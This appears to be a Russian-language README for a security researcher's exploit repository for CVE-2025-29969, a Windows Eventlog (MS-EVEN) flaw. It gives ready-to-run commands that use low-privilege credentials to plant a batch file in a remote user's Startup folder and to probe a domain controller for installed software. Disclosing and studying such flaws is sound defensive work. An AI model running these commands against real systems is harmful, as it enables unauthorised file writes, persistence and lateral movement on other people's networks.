EventLogin-CVE-2025-29969

EventLogin - CVE-2025-29969

EventLogin – это уязвимость типа «время проверки – время использования» в протоколе MS-EVEN. Уязвимость позволяет непривилегированным пользователям записывать произвольные файлы на удалённую машину, фактически обходя необходимость учётной записи администратора для удалённой записи.

В этом репозитории находятся два скрипта: один превращает уязвимость в эксплойт (write_file_remotely.py), а второй использует один из примитивов уязвимости для проверки существования удалённого файла, будучи непривилегированным пользователем, что полезно, например, для просмотра установленных программ на других компьютерах домена.

Полный анализ можно прочитать здесь:

EventLog-in: Распространение со слабыми учётными данными с использованием службы Eventlog в Microsoft Windows

Использование write_file_remotely

Сначала создайте SMB-шару с помощью impacket:

impacket-smbserver -smb2support Share /tmp/safebreach

Обратите внимание: скрипт использует жёстко заданное имя шары 'Share', при необходимости измените.

Затем запустите скрипт write_file_remotely.py и укажите все необходимые параметры:

1. ip_to_attack – IP-адрес удалённой машины.
2. smb_server_ip – IP-адрес машины, на которой открыта шара; может быть атакующей машиной.
3. username и password – учётные данные непривилегированной учётной записи.
4. valid_evtx_file_path – путь к действительному EVTX-файлу, который вы разместили на той же шаре, что и ранее.
5. local_file_path – файл, который вы хотите загрузить.
6. remote_file_path – удалённый путь, куда вы хотите загрузить файл.

Пример:

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"

Использование check_if_exists

Этот скрипт не использует саму уязвимость, а только примитив "CreateFile" и может помочь вам в разведке сети.

Например, каталог Program Files на удалённой машине в домене доступен всей группе "Users", что означает: используя учётные данные ЛЮБОГО пользователя, можно проверить, существует ли файл на другой машине.

Он принимает следующие параметры:

1. ip_to_attack – IP-адрес для разведки.
2. username – имя пользователя и пароль доменного пользователя.
3. filepath_to_check – файл для проверки.

Например, проверьте, установлен ли wireshark на контроллере домена (192.168.56.57), используя непривилегированного пользователя.

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY